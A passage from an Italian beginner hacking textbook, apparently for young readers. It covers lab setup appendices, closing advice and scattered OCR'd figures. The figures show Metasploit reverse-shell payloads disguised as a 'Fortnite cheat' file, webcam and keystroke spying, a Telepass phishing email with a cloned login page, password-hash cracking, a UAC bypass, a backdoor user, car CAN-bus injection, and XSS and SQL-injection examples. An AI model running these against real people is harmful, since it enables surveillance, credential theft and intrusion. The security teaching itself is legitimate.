I genitori devono imporre dei limiti al tempo trascorso sullo schermo dai propri figli (a seconda dell’età), parlando delle minacce online e del mondo reale. Devono sapere chi sono i loro amici e con chi parlano online. È utile anche tracciare reciprocamente i propri dispositivi, permettendo ai figli di tracciare il proprio cellulare e viceversa. Occorre essere sicuri che comprendano i pericoli dell’eccessiva condivisione online. Soprattutto, bisogna incoraggiare i figli a parlare se non sanno cosa fare o se subiscono cyberbullismo o molestie.

Cosa ho imparato

Hai percorso molta strada nella comprensione delle minacce online. Hai eseguito veri e propri hack in un ambiente virtuale e sicuro che ti sei costruito da te. Hai imparato a difendere e proteggere te stesso e le persone a cui tieni dagli attacchi informatici.

Hai anche appreso alcune delle competenze lavorative più interessanti per il XXI secolo. Ogni anno si aprono centinaia di migliaia di posti di lavoro nel settore della sicurezza informatica. Ora hai un’esperienza reale nella difesa dei dispositivi e della rete dagli strumenti utilizzati dagli hacker malintenzionati. Usa queste conoscenze a fin di bene, tieniti al sicuro e divertiti a fare hacking e a mettere in pratica le tue nuove abilità di cybersecurity!
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CREARE UN DISCO O UNA CHIAVETTA USB DI INSTALLAZIONE DI WINDOWS 10 O 11
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Spesso gli ethical hacker possono aiutare a recuperare file o a resettare password, come abbiamo fatto nell’hack Sticky Keys del Capitolo 2. A questo scopo devi usare un disco di ripristino o una chiavetta USB avviabile. Solitamente questi supporti vengono utilizzati per reinstallare Windows nel caso in cui si danneggi, in modo da poter accedere ai file del computer.

Per creare un disco o una chiavetta USB di avvio, puoi scaricare una copia di valutazione gratuita di Windows 10 o 11 direttamente da Microsoft, quindi installarla su DVD o su una chiavetta. È necessario un disco o una chiavetta da almeno 8 GB.

Scaricare Windows 10 o 11

1.Apri il link https://www.microsoft.com/it-it/evalcenter nel browser. A volte Microsoft cambia la struttura sito. Benché al momento della traduzione di questo libro l’indirizzo sia funzionante, ti suggeriamo di cercare “Microsoft Evaluation Center” nel caso che non dovesse andare.

2.Clicca su Valuta ora sotto Windows 11 Enterprise per accedere alla schermata delle versioni di valutazione di Windows 11 Enterprise visualizzata nella Figura A.1.

3.Clicca su Scarica l’ISO - Enterprise per scaricare una copia di Windows 11, quindi passa al punto 5. Dal momento che Windows 11 ha criteri più stringenti di Windows 10, puoi scegliere di scaricare comunque Windows 10. Scorri verso il basso la schermata fino alla sezione Prodotti di supporto; quindi, clicca su Windows 10 Enterprise e quindi sul link Windows 10 Enterprise.
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Figura A.1: La schermata delle versioni di valutazione di Windows 11 Enterprise.

4.Sotto Inizia gratuitamente, seleziona Scarica l’ISO - Enterprise come tipo di file di valutazione.

5.Il sito ti chiede di compilare un modulo con i tuoi dati. Se hai meno di 18 anni, chiedi a un adulto prima di inserire informazioni personali. Dopo aver inserito le informazioni, viene visualizzata la schermata di download, simile a quella della Figura A.2.

6.Se ti viene proposto di scegliere fra la piattaforma a 32 bit e quella a 64 bit, scegli 64 bit; quindi, scegli la lingua e clicca Download.

Il file di installazione di Windows 10 è un file ISO, noto anche come immagine disco, ossia un singolo file contenente tutti i file necessari alla creazione di un CD o di un DVD come il disco che desideriamo realizzare. Il file ISO supera i 4 GB, quindi scaricalo dove hai a disposizione una connessione veloce.
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Figura A.2: Scegli una piattaforma e una lingua per scaricare una copia di valutazione legale e gratuita di Windows.

Masterizzare un DVD con Windows 10

Per masterizzare una copia di Windows 10 su DVD è necessario disporre di un computer con un’unità DVD.

1.Per Windows, fai clic destro sul file ISO e seleziona Masterizza immagine disco. Per il Mac, seleziona il file ISO nel Finder, quindi scegli File ▶ Masterizza <disco>.

2.Inserisci nell’unità un DVD vuoto. Nel giro di qualche minuto il tuo disco di installazione Windows è pronto.

Installazione di Windows 10 o 11 su una chiavetta USB

Se non hai un’unità DVD, puoi installare Windows 10 o 11 anche su una chiavetta USB, utilizzando lo strumento di creazione di supporti di installazione di Windows.

1.Vai all’indirizzo https://www.microsoft.com/it-it/software-download/windows10/, come illustrato nella Figura A.3, per scaricare Windows 10. Se vuoi scaricare Windows 11, sostituisci “windows11” a “windows10” nell’indirizzo. Anche in questo caso, a volte Microsoft cambia URL, nomi delle pagine e addirittura nomi degli strumenti. Se l’URL non dovesse funzionare, cerca “Windows Media Creation Tool” su un motore di ricerca.
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Figura A.3: Scarica lo strumento di creazione di supporti di installazione di Windows da Microsoft.

2.Scarica e installa lo strumento per la tua lingua preferita.

3.Quando esegui lo strumento, scegli Crea supporti di installazione (unità flash USB, DVD o file ISO) per un altro PC, quindi clicca su Avanti.
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Figura A.4: Scegli Crea supporto di installazione.

4.Lascia impostate le selezioni predefinite per la lingua e la versione di Windows, quindi clicca su Avanti.

5.Scegli Unità USB come tipo di supporto.
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Figura A.5: Scegli Unità USB, inserisci una chiavetta USB e clicca su Avanti.

6.Inserisci una chiavetta USB vuota con almeno 8 GB di spazio libero, selezionala e clicca su Avanti.

Ci vorranno svariati minuti. Alla fine, avrai una chiavetta USB avviabile con un’installazione di Windows 10 o 11, a seconda di quella che hai scelto, completa e pronta da usare per l’hack Sticky Keys o per la riparazione e la sistemazione dei problemi del computer.
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RISOLUZIONE DEI PROBLEMI DI VIRTUALBOX
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La prima volta che avvii una macchina virtuale in VirtualBox, potrebbero verificarsi degli errori dovuti alle diverse impostazioni del Mac o del PC. Questa appendice ti aiuta a risolvere eventuali problemi nell’impostazione di VirtualBox. Se metti in pratica tutte le procedure qui descritte e ancora non riesci a risolvere il problema, prova a fare una ricerca sul web riguardante lo specifico errore che ti si presenta. Impostare un laboratorio di hacking virtuale può richiedere un po’ di tempo, ma ne vale la pena!

Risoluzione dei problemi di VirtualBox su Mac

Alcuni Mac visualizzano un errore quando caricano la VM Kali la prima volta. Prova questa procedura per sistemare l’errore.

1.Assicurati di aver installato correttamente l’Extension Pack di VirtualBox, come descritto nel Capitolo 3.

2.Vai a Preferenze di sistema ▶ Sicurezza e privacy e clicca sulla scheda Generale.

3.Se nella parte inferiore dello schermo viene visualizzato un messaggio che dice che è stato impedito il caricamento del software Oracle, clicca su Consenti.

4.Riavvia VirtualBox: la VM Kali dovrebbe avviarsi correttamente.

Risoluzione dei problemi di VirtualBox in Windows

Se VirtualBox non funziona correttamente in Windows, prova a fare come segue.

1.Disattiva le opzioni Hyper-V nel Pannello di controllo.

2.Attiva la virtualizzazione nelle impostazioni del BIOS o della UEFI del computer.

Approfondiremo più avanti questi dettagli. Applica entrambe le correzioni, riavvia VirtualBox e prova ad aprire nuovamente la VM Kali.

Disattivare le opzioni Hyper-V

Per alcune versioni, Windows viene fornito con Hyper-V (il software di virtualizzazione integrato di Microsoft) abilitato per impostazione predefinita. Per usare VirtualBox devi disattivare Hyper-V.

1.Vai a Pannello di controllo ▶ Programmi ▶ Programmi e funzionalità ▶ Attiva o disattiva funzionalità di Windows.

2.Nell’elenco di impostazioni, disattiva tutte le caselle relative a Hyper-V o Hypervisor, come illustrato nella Figura B.1.
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Figura B.1: Disattivazione delle opzioni relative a Hyper-V e Hypervisor.

3.Dopo aver disattivato le opzioni relative a Hyper-V e Hypervisor, riavvia il computer, quindi avvia nuovamente VirtualBox.

Attivare la virtualizzazione nelle impostazioni del BIOS o della UEFI

Se hai disattivato Hyper-V ma hai ancora problemi a usare VirtualBox, forse devi attivare la virtualizzazione. Per attivare il supporto alla virtualizzazione devi riavviare il computer e accedere al BIOS o alla UEFI, le impostazioni hardware di base del PC.

1.In Windows 10, vai a Impostazioni ▶ Aggiornamento e sicurezza ▶ Ripristino ▶ Avvio avanzato ▶ Riavvia ora, come illustrato nella Figura B.2. Il computer viene riavviato in modalità di avvio avanzata.
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Figura B.2: Accesso al BIOS da Windows 10.

AVVISOPresta molta attenzione quando modifichi le impostazioni del BIOS e quelle di avvio: potrebbero resettare il PC ed eliminare tutti i file! La procedura che segue cambia solo le opzioni relative alla corretta esecuzione delle VM.

2.Seleziona Risoluzione dei problemi dal menu blu di avvio, quindi premi Invio. Seleziona Opzioni avanzate e premi Invio, come illustrato nella Figura B.3.

3.Il menu Opzioni avanzate contiene alcuni utili strumenti per la risoluzione dei problemi del PC, come il ripristino di sistema e la riparazione dell’avvio. Nella parte inferiore destra del menu, seleziona l’opzione Impostazioni firmware UEFI o Impostazioni di avvio, come illustrato nella Figura B.4.

[image: ]

Figura B.3: Il menu Opzioni avanzate.

[image: ]

Figura B.4: Impostazioni del firmware UEFI o impostazioni di avvio.

4.Premi Invio, quindi clicca Riavvia. Se il computer utilizza le nuove impostazioni del firmware UEFI, al riavvio verrà visualizzato il menu relativo a tali impostazioni. Se invece il computer usa le vecchie impostazioni BIOS, per accedervi devi premere un tasto speciale.

NOTASui vecchi computer, compresi quelli che eseguono precedenti versioni di Windows, puoi accedere al BIOS non appena accendi il PC. All’avvio viene visualizzata brevemente una schermata in cui è indicato il tasto da premere per entrare nel BIOS (F12, Canc, Esc o simile). Se il tasto non viene visualizzato, cerca “impostazione BIOS” per il modello del tuo PC. Potresti dover tenere premuto il tasto o premerlo più volte immediatamente dopo aver acceso il PC.

5.Dopo essere entrato nelle impostazioni del BIOS o della UEFI, trova le impostazioni di virtualizzazione e attivale. Probabilmente dovrai muoverti nei menu usando i tasti di direzione, la barra spaziatrice e il tasto Invio. Ogni marca di PC ha un BIOS diverso. Osserva le opzioni del tuo: dovrebbero indicare qualcosa come “VIrtualization Technology”, “VT-x” o “VT-d”. Solitamente si trovano fra le opzioni Advanced, System o CPU.

6.Abilita la virtualizzazione, salva le modifiche ed esci per riavviare Windows.

7.Riavvia VirtualBox e apri nuovamente la VM Kali.

Ultimo problema: alcuni programmi antivirus

Se ancora la VM non parte dopo aver provato tutte le opzioni relative alla virtualizzazione e dopo aver scaricato e reinstallato VirtualBox e i file delle VM, VirtualBox potrebbe essere bloccato dall’antivirus. Fai una ricerca online per verificare se anche altri utenti hanno riscontrato lo stesso problema (i miei studenti avevano avuto problemi con WebRoot SecureAnywhere, oltre che con alcune versioni di Avast e Symantec); in questo caso potresti dover aggiungere un’esclusione all’antivirus in modo che non rilevi VirtualBox e quindi non lo blocchi. Come ultima spiaggia, prova a usare un computer con un antivirus diverso o a cambiare antivirus.
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INFORMAZIONI SUL LIBRO

Hacking. Più facile di quanto si pensi.

Questo libro è un’introduzione facile e pratica al mondo dell’hacking, scritto da uno dei più grandi esperti mondiali di cybersecurity. Il testo spiega, in maniera chiara e con numerosi esempi, come condurre attacchi contro il tuo stesso sistema informatico: ti accorgerai di quanto sia facile e di quanto siano vulnerabili molti sistemi.

Ti insegneremo passo passo come si crea un laboratorio di hacking virtuale, in modo da permetterti di provare i diversi tipi di attacco senza mettere a rischio né te stesso né gli altri. Ti spiegheremo come eseguire ogni tipo di attacco, compresi quelli per accedere fi sicamente a un sistema, gli attacchi via Google e di ricognizione, il phishing e gli attacchi di ingegneria sociale, la diffusione di malware, il web hacking, il cracking di password e l’hacking di telefoni e sistemi veicolari. Proverai in prima persona ogni tipo di hack sia dal punto di vista dell’attaccante sia da quello del target. Ogni tipologia di hack è solidamente basata su esempi reali e presentata insieme a suggerimenti su come difenderti da tali attacchi, per imparare come metterti al riparo dai pericoli informatici.

In questo libro:

•Come imparare a fare hacking in un ambiente virtuale sicuro

•Come usare i più diffusi strumenti di hacking (Kali Linux, Metasploit e John the Ripper) in modo effi cace

•Come infettare dispositivi con malware, rubare e violare le password, impadronirsi di informazioni sensibili

•Come usare a fi n di bene le conoscenze che avrai acquisito, per esempio per recuperare I file su un vecchio laptop di cui hai scordato la password

•Come proteggerti dai cyberattacchi

L’unico modo per capire veramente i pericoli dell’hacking e difenderti è imparare in prima persona di che cosa si tratta. Imparando a violare il tuo stesso sistema, prima che lo faccia un cybercriminale, saprai qual e il modo più effi cace per mantenere te e i tuoi cari al sicuro.
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File Attack Passwords Help

o R L ¥y 0P

Open password file  Open session Start new attack Resume attack Pause attack Guesspassword ~ Copy Export

Session details

Passwords Session name: 12-08-19-09-05-24
n Input password files: /root/Documents/Windows_hashes.txt
Current hash format: NT v
Options % 5 x X
Tip: Modified attack options come into effect only when starting a new attack
-1l
Attack mode
Statistics
9 Default Singlecrack Wordlist Incremental External Mask Markov Prince
Settings Mask mode is a fast way to produce password candidates given a "mask" that describes what the words
should look like. For example, the mask 2u?1?L will generate all possible three-letter words, with first
. character upp and the ining in To see the right syntax to build your mask, refer to
the file called MASK in JtR jumbo doc folder.
Console log
Mask: SuperGirzazata
Use external mode, filter name:
Use rules:
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Oggetto: Attivita inusuale sul tuo account

Messaggio: Qualcuno ha cercato di accedere al tuo
account Telepass da Budapest, Ungheria. Se non eri
tu, accedi al tuo account e verifica le opzioni di
sicurezza: http://10.0.9.4.
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P Telepass

AVVISO DI SICUREZZA

Awiso di sicurezza

Ciao Alessandro,

Qualcuno ha cercato di accedere al tuo account Telepass da Budapest,
Ungheria. Se non eri tu, accedi al tuo account e verifica le opzioni di
sicurezza.

Puoi gia vedere I'importo in App.

La fattura elettronica sara emessa e resa disponibile il 31 luglio 2022.

Tra poco I'App Telepass Pay lascera il posto all’App Telepass.
Per te non cambia nulla. Se non I'hai ancora fatto, scaricala ora ed entra con
le stesse credenziali per « http://10.0.9.4/ ‘0 tutti i tuoi servizi.
Fare clic o toccare per aprire il
collegamento.

A presto!
Il Team Telepass
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meterpreter > webcam_list
1: Back Camera
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{b UPLOAD ANOTHER IMAGE

Metadata takes 53.4 KB (1.5%) of this image and
includes location data. To protect your privacy,
download this image without metadata by clicking the
button below.

Name

File size

File type

MIME type

Image size

Created

Altitude

| atitude

B Image metadata

San_Michele_in_Foro,_Lucca_05.08.2012.jp
g

3.43 MB (3598262 bytes)

JPEG

image/jpeg

2848 x 4288 (12.2 megapixels)

August 05, 2012 17:10

Q Location

38m

A3 dea 50' 34 30" N
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msf6 > sudo service apache2 start






OPS/images/f103-01.jpg
C:\WINDOWS\system32> net user bryson
Don ' tyouwishyourpasswordwastoughlikemine! /add
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msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/
reverse_tcp

msf6 exploit(multi/handler) > set LHOST 10.0.9.x

msf6 exploit(multi/handler) > exploit -j
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0
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kali@kali:~/ICSim$ ./controls vcano &
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Decrypt MDS, SHAL, MySQL, NTLM, SHA256, SHAS!

© DecryptMDS, SHAL My X =+

Hashes.com

Decrypt MDS5, SHA1, MySQL, NTLM, SHA256, SHA512 hashes

Enter your hashes here and we will attempt to decrypt them for free online.

Hashes (max. 96 separated by newline, format ‘hash[:salt]’) (QMass Search)

fc525c9683e8fe067095ba2ddc971889
fc525c9683e8fe067095ba2ddc971889

64f12cddaa88057e06a81b54e73b949b
920ae267e048417fcfe00f49ecbd4b33
85f4aaf6acafac1d9b55e6b880bcda3e
d6566eae841e523df8fd96ad2bcbddac
f91c41cecf2275eb577fca38e45a0077
©262404bfed 7aa34ba668187b4209380|
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meterpreter > webcam_list
1: VirtualBox Webcam - Logitech HD Webcam C310
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meterpreter > webcam_stream
[*] Starting...

[*] Preparing player...

[*]

[*]

*] Opening player at: /home/kali/KMKiGQxa.html
*] Streaming...
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[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: session[username or email]=Georgeletson
POSSIBLE PASSWORD FIELD FOUND: session[password]=Jane!!!
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YouTube com.google.android.youtube false true
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Telepass.com - ACCEDIATE X | + (<]

<« C ® O D o~ localhost &

™ Kali Linux # Kali Tools [@ Kali Docs R Kali Forums (¥ Kali NetHunter & Exploit-DB & Google Hacking DB L OffSec

PRIVATI BUSINESS TRUCK IL GRUPPO

ACCEDI A TELEPASS

GeorgeJetson

Memorizza credenziali

ACCEDI

RECUPERA USER E PASSWORD
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Amministratore: Prompt dei comandi

Microsoft Windows [Versione 10.8.17763.1935]
(c) 2018 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Windows\system32>ipconfig

Configurazione IP di Windows

Scheda Ethernet Ethernet:

Suffisso DNS specifico per connessione:
Indirizzo IPv6 locale szpetto al col

Indirizzo IPva. [
Subnet mask . :
Gateway predefinito .

fe80::c50d:519f:96a4:e108%5

C:\Windows\system32>,
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msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set PAYLOAD android/meterpreter/
reverse_tcp

msf6 exploit(multi/handler) > set LHOST 10.0.9.4

msf6 exploit(multi/handler) > exploit
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m -r /system/app/Gmail2
m -r /data/data/com.google.android.gm
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cat history.db

hl##mat 3@tablesuggestionssuggestionsCREATE TABLE suggestions

(_id INTEGER PRIMARY KEY,displayl TEXT UNIQUE ON CONFLICT
REPLACE,display2 TEXT,query TEXT,date LONG)5I#indexsqlite autoindex_
suggestions 1suggestionW--ctableandroid metada677bryson payne ted
talkbryson payne ted talklo/cale TEXT)

7  bryson payne ted talk
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*** Single-user boot ***
Root device is mounted read-only
enabling and disabling services is not supported in single-user mode,
and disabled services will not be respected when loading services
while in single-user mode.
To mount the root device as read-write:
$ /sbin/fsck -fy
$ /sbin/mount -uw /
To boot the system:
$ exit
BuildActDeviceEntry enter
HID: Legacy shim 2
AppleActuatorDevice: :start Entered
BuildActDeviceEntry exit

localhost:/ root#
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cd /data/data/com.google.android.youtube
1s

cache

code_cache

databases

files

no_backup

shared prefs
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cd databases
1s
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Impostazioni applicazione virtuale

Queste sono le macchine virtuali contenute nell'applicazione virtuale con le impostazioni proposte per I'mponanone in VirtualBox. Puoi
cambiare molte delle proprietad mostrate facendo un doppio dic sugli element e disabil altre le caselle di sels che
seguono.

Sistema virtuale 1

a Nome Metasploitable2-H4K 1

@ Prodotto Distribution of Metasploitable2 customized by Dr. Bryson Payne...

@ URL del prodotto https://www.nostarch.com/hackingforkids
E Sistema operativo guest Ubuntu (64-bit)

@ cru 1

& ram 1024 MB

@ bvo ]

Cartella di base delle macchine: = E:\VirtualBox VMs

Criterio indirizzi MAC: | Indudi solo gli indirizzi MAC delle schede di rete con NAT

Opzioni aggiuntive: [] Importa dischi fissi come VDI
L'applicazione virtuale non & firmata

Ripristina predefiniti Importa
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G bryson payne - Google Search X

R &m0

€« c @ oF google com/search?client - i b "
Google  bryson payne Q
A mages waps Tools

Bryson Payne - University of North Georgia

php ~

or. !ryson Payne is a professor of computer science in the Mike Cottrel Coliege of Business at the
Uni of North Goorgia and is a Certified Information

Bryson Payne <

BrysonPayne.com
beysonpayne com v
O, Payna car hacking his own Vokswagen Jeta, October 20, 2016 . D, Bryson Payne speoks at

TEDXin 2018 on Coding and Cyber as the . April 24, 2018, kst of gt
Blo - Books - Courses - Curriculum Vitae. North Georgla, where he has taught for more than 17 years. He
previously taught micde-school math and programming and continues 1o
) s K oy
Bryson Payne | Best-Selling Author & Professor wistudents in 163 e B

hitps:/Awww.udemy.com/user/brysonpaynel v
Dr. Bryson Payne is the author of the Amazon #1 New Release and Top 10 Best Selling chidren's
programming book, Teach Your Kids to Code: A

Books

Bryson Payne - Amazon.com

VBryson- .
Bryson Payne has a Ph.D. in computer science and is a leading cybersecurity expert. He s the
Director of the Center for Cyber Operations Education at UNG,
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C:\Windows\system32> netsh advfirewall set allprofiles state off
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localhost:/ root# launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.
plist
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localhost:/ root# /sbin/fsck -fy
localhost:/ root# /sbin/mount -uw /
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localhost:/ root# passwd
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localhost:/ root# launchctl load /System/Library/LaunchDaemons/com.apple.
DirectoryServices.plist
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Vulnerability: Reflected Cross Site Scripting (XSS)

This site says...
Youve been hacked!
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Italiano

Giapponese

I1SO - Download di Enterprise

Versione a 64 bit >

I1SO - Download di Enterprise

Versione a 64 bit >
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Aggiornamento di Windows 10 (novembre 2021)

Lassistente i di effettuare Il'ultima versione di Windows 10, Per iniziare, fai clic su Aggioma.

Aggioma ora

Privacy

s 10 sul tuo PC?

Per iniziare, dovrai avere una licenza per installare Windows 10. A quel punto potrai scaricare ed eseguire lo
strumento per la creazione di supporti. Per maggiori informazioni su come utilizzare lo strumento, visualizza le
istruzion qui sotto,

Scarica ora lo strumento

privacy
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$id = mysql real escape string($id);
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File Attack Passwords Help

o R R T WP

Open password file  Open session Startnewattack Resumeattack Pauseattack Guesspassword Copy Export

Filter Select columns v Show only checked Show only cracked
Passwords User ¥ Password Hash Formats GECOS

1 ¥ Administrator PasswOrd! fc525c9683e8fe067.. LM,dynamic=md5(...
n 3 ¥ ana 64f1 7e.. LM,dy ic=md5(...
Options 4 9 ben P@55wOrd! 9202267€048417f... LM,dynamic=md5(..
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’ 2 ¥ IEUser fc525¢ 067... LM, ic=md5(...
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$id = $_GET['id'];
$getid = "SELECT first name, last name FROM users WHERE user id = '$id'";
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File Macchina Aiuto






OPS/images/f061-01.jpg
exploit-db.com

o P Quick Search | password
= hor
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20181204 filetype:xmi config xmi passwordHash Jenkins Files Containing Passwords Kevin Randall
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kali@kali:~/ICSim$ cansniffer -c vcano
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 Windows

Installa

Immettere la lingua ¢ atre preferenze, quindi scegiiere Avanti per continuare.

Ripristina il computer ot e 20

Scegli un'opzione e
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<>
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cd /

1s

acct
bugreports
cache
charger
config

d

data
--snip--
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X:\> c:
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su
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meterpreter > cd
meterpreter > ls

../Documents

Listing: C:\Users\IEUser\Documents

Mode

40777/ TWXTWXTWX
40777 /TWXTWXTWX
40777 /TWXTWXTWX
40777/ TWXTWXTWX
WindowsPowerShell
100666/ TW-TW-TW-

Size Type Last modified

0
0
0
0

402

dir
dir
dir
dir

fil

2019-03-19 06:49:34 -0400
2019-03-19 06:49:34 -0400
2019-03-19 06:49:34 -0400
2019-03-19 07:29:40 -0400

2019-03-19 06:49:49 -0400

Name

My Music
My Pictures
My Videos

desktop.ini
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meterpreter > background[*] Backgrounding session 1...
msf6 exploit(multi/handler) >






OPS/images/f104-02.jpg
msf6 exploit(multi/handler) > [*] Sending stage (179779 bytes) to
10.0.9.5

[*] Meterpreter session 1 opened (10.0.9.4:4444 -> 10.0.9.5:50789)
at 2022-08-11 15:40:38 -0400
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meterpreter > upload /home/kali/Desktop/Fortnite_cheat_mode.exe
[*] uploading : /home/kali/Desktop/Fortnite cheat mode.exe ->
Fortnite_cheat_mode.exe

[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/Desktop/
Fortnite cheat mode.exe -> Fortnite cheat mode.exe

[*] uploaded : /home/kali/Desktop/Fortnite cheat mode.exe ->
Fortnite_cheat_mode.exe
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$id = $ GET['id'];
$id = stripslashes($id);
$id = mysql real escape string($id);
if (is_numeric($id)){
--snip--
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kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install johnny
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kali@kali:~$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
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meterpreter > keyscan_stop
Stopping the keystroke sniffer...
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kali@kali:~/ICSim$ cansend vcanO 19B#00000F000000
kali@kali:~/ICSim$ cansend vcanO 19B#000000000000
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * Bryson
Mes S
This site says...
You've been hacked!
Name: test

Message:

This is a test comment
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Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup

Name * Bryson

Message *

rwp::men(‘mu've been hacked!");</script>| ‘

Brute Force
‘Command Execution Sign Guestbook
CSRF

File Inclusion
EEEEEN | e o o test comment
SQL Injection (Blind)

More info

hitp://ha ckers.org/xss. htmi
http://en.wikipedia.org/wiki/Cross-site_scripting

)
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1 Funzionalita Windows - [m] X

Attivazione o disattivazione delle funzionalita (2]
Windows
Per attivare una funzionalita, selezionare la relativa casella di controllo. Per

disattivarla, deselezionare la relativa casella di controllo. Una casella piena
indica che é attivata solo parte della funzionalita.

[ | Data Center Bridging ~
[ | Funzionalita multimediali
[/ | Host sorvegliato
[/ | HWC (Hostable Web Core) di Internet Information Services
@ O | Hyper-v
[  Piattaforma Hyper-V
[/ | Strumenti di gestione Hyper-V'
[ | IFilter TIFF di Windows

M| Internet Explorer 11 ¥
< p 2

Annulla
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Superuser Request

MainActivity is requesting Superuser
access.

Warning: If you do not understand this, you
should deny the request.

ﬁ MainActivity

® This time only
Remember choice for 10 minutes
Remember choice forever

Deny Allow
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msf6 exploit(multi/handler) > set LHOST 10.0.9.x
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msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/
reverse_tcp
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msf6 exploit(multi/handler) > exploit -j
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File  Macchina Aiuto

Kali-Linux-2022.2-virtualbox-amd64
@ spenta

MSEdge - Win10

()] © spenta

Metasploitable2-H4K
© spenta

| Nuova Impostazioni Scarta  Awvia
[ Generale

Nome: Android 8,

Sistema operativo:  Other Linux (64-bit)

[®] sistema

Memoria di base: 2048 MB

Ordine diavvio:  Floppy, Ottico, Disco fisso
VT-x/AMD-V, Paginazione nidificata, PAEINX,
Paravirtualizzazione KM

Android 8.1
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] & ~/ICSim/candump-2021... 04:26 PM

~/ICSim/candump-2021-05-18_113713.log - Mousepad

File Edit Search View Document Help
DIVUI \LIUIULVLII+LUILL L) VLUV LOJHUUUUUUUUATS

3966 (1589816235.285229) vcand
3967 (1589816235.285237) vcand
3968 (1589816235.286747) vcand
3969 (1589816235.286764) vcand
3970 (1589816235.286771) vcand
3971 (1589816235.286777) vcand
3972 (1589816235.286783) vcano
3973 (1589816235.286789) vcan@
3974 (1589816235.288070) vcano
3975 (1589816235.289492) vcand
3976 (1589816235.289496) vcand
3977 (1589816235.289529) vcan@
3978 (1589816235.289540) vcand
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3980 (1589816235.290989) vcand
3981 (1589816235.290996) vcano
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View menu
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136#000200000000002A
13A#0000000000000028
13F#000000050000002E
1641#0000C01AAS000004
17C#0000000010000021
18E#00006B
1CF#80050000003C
1DC#02000039
183#0000000C0000102D
244#00000001AA
fEE#02000000
143#6B6BOOED
039#001B
095#800007F400000017
1A410000000800000010
1AAH#7FFF000000006711

aA0|ac

il Highlight All Match case Regular expression

Filetype: None = Line: 3976 Column: 26 Selection: 3





OPS/images/f140-02.jpg
msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set PAYLOAD android/meterpreter/
reverse_tcp

PAYLOAD => android/meterpreter/reverse tcp

msf6 exploit(multi/handler) > set LHOST 10.0.9.4

LHOST => 10.0.9.4

msf6 exploit(multi/handler) > exploit
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Index of /share

Name Last modified Size Description
& Parent Directory -
@ CoolGame.apky, 2020-06-14 11:42 9.9K

Fortnite_cheat_mode.exe 2020-05-25 15:06 72K

Apache/2.4.43 (Debian) Server at 10.0.9.4 Port 80
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msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/
reverse_tcp

PAYLOAD => windows/meterpreter/reverse tcp

msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_
fodhelper

[*] Using configured payload windows/meterpreter/reverse tcp

msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 1
SESSION => X

msf6 exploit(windows/local/bypassuac_fodhelper) > set LHOST 10.0.9.x
LHOST => 10.0.9.x

msf6 exploit(windows/local/bypassuac_fodhelper) > exploit
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meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/
Admin)).
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msf6 > sudo service apache2 start
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * Bryson Too
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kali@kali:~# cat contacts_dump_20220814103858.txt
--snip--

#1

Name: Bryson Payne

Number: 404-555-1212

Email: brysonpayne@myuniversity.edu
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meterpreter > dump_contacts
[*] Fetching 1 contact into list
[*] Contacts list saved to: contacts dump 20220814103858.txt
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kali@kali:~/ICSim$ canplayer -I candump-AAAA-MM-GG_ora.log
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msf6 > sudo mkdir /var/www/html/share
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msf6 > sudo cp ~/Desktop/Fortnite_cheat_mode.exe /var/www/html/share
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meterpreter > hide_app_icon
[*] Activity MainActivity was hidden
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msf6 > msfvenom -p windows/meterpreter/reverse tcp \
> LHOST=10.0.9.x -f exe -o ~/Desktop/Fortnite_cheat_mode.exe
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